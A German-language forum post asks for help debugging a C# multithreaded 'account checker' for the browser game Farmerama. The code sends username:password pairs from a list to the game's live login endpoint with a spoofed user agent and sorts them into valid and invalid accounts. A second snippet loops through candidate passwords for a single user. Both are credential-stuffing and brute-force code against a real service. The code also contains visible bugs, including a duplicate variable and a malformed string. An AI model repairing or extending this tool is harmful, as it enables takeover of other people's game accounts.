Ich habe schon alles mögliche versucht aber es geht einfach nciht
Ich möchte einen kleine Account checker schreiben für eine Brwosergame.
Mit Thread´s hier der Code
Code:
private void button1_Click(object sender, EventArgs e)
{
button1.Enabled = false;
button2.Enabled = true;
checkerThread = new Thread[Convert.ToInt32(30)];
isRunning = true;
for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
{
int input = i;
string usernmae = FarmView.Items[Usernmaeanzahl].SubItems[0].Text.ToString();
string pw = FarmView.Items[Usernmaeanzahl].SubItems[1].Text.ToString();
string input = usernmae + ":" + pw;
checkerThread[i] = new Thread(new ParameterizedThreadStart(FarmChecking));
checkerThread[i].Start(input);
}
}
private void updateApplication(string status)
{
richTextBox1.Text += status;
}
private void FarmChecking(object Index)
{
while (isRunning)
{
try
{
if (richTextBox1.InvokeRequired)
richTextBox1.Invoke(new updateApplicationDel(updateApplication), "JA");
else
richTextBox1.Text = "JA";
string ocolto = Index.ToString();
string usernmae = ocolto.Split(':')[0].ToString();
string pw = ocolto.Split(':')[1].ToString();
CookieContainer cookieContainer = new CookieContainer();
string loginData = "loginForm_default_username=" + usernmae + "&loginForm_default_password=" + pw + "&loginForm_default_login_submit=Login";
ASCIIEncoding encoding = new ASCIIEncoding();
byte[] data = Encoding.UTF8.GetBytes(loginData);
HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
myRequest.Method = "POST";
myRequest.Host = "farmerama.bigpoint.com";
myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
myRequest.CookieContainer = cookieContainer;
myRequest.ServicePoint.Expect100Continue = false;
myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
myRequest.ContentType = "application/x-www-form-urlencoded";
myRequest.ContentLength = data.Length;
Stream newStream = myRequest.GetRequestStream();
newStream.Write(data, 0, data.Length);
newStream.Close();
HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();
myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
myRequest.CookieContainer = cookieContainer;
myRequest.Method = "GET";
myRes = (HttpWebResponse)myRequest.GetResponse();
StreamReader srs = new StreamReader(myRes.GetResponseStream());
string html = srs.ReadToEnd();
Htmlüberprüfen(html, usernmae, pw);
}
catch
{
}
}
}
private void button2_Click(object sender, EventArgs e)
{
button1.Enabled = true;
button2.Enabled = false;
isRunning = false;
for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
{
checkerThread[i].Abort();
}
}
private void Htmlüberprüfen(string html, string username, string pw)
{
if (html.Contains(username))
{
ListViewItem item1 = new ListViewItem();
item1.Text = username;
item1.SubItems.Add(pw);
Farmenview.Items.Add(item1);
}
else
{
ListViewItem item1 = new ListViewItem();
item1.Text = username;
item1.SubItems.Add(pw);
Farmenviewnicht.Items.Add(item1);
}
}
warum eigentlich?
Wenn ich das per Butten mache
Code:
string loginData = "loginForm_default_username=" + Username " + &loginForm_default_password=" + Passwort + "&loginForm_default_login_submit=Login";
ASCIIEncoding encoding = new ASCIIEncoding();
byte[] data = Encoding.UTF8.GetBytes(loginData);
HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
myRequest.Method = "POST";
myRequest.Host = "farmerama.bigpoint.com";
myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
myRequest.CookieContainer = cookieContainer;
myRequest.ServicePoint.Expect100Continue = false;
myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
myRequest.ContentType = "application/x-www-form-urlencoded";
myRequest.ContentLength = data.Length;
Stream newStream = myRequest.GetRequestStream();
newStream.Write(data, 0, data.Length);
newStream.Close();
HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();
myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
myRequest.CookieContainer = cookieContainer;
myRequest.Method = "GET";
myRes = (HttpWebResponse)myRequest.GetResponse();
StreamReader srs = new StreamReader(myRes.GetResponseStream());
string html = srs.ReadToEnd();
if (html.Contains(Username))
{
richTextBox1.Text += "Eingelogt Passwort = " + Passwort;
Eingelogt = true;
button2.Enabled = false;
button1.Enabled = true;
anzahl = 0;
}
else
{
richTextBox1.Text += "Nicht Eingelogt Passwort = " + Passwort + "\r\n";
anzahl++;
}
myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/index.php?action=externalLogout");
myRequest.CookieContainer = cookieContainer;
myRequest.Method = "GET";
myRes = (HttpWebResponse)myRequest.GetResponse();
Application.DoEvents();
Es gibt leider keine fehler
Er postet einfach nicht
Kann mir da jemand weiter helfen?
Danke schon mal







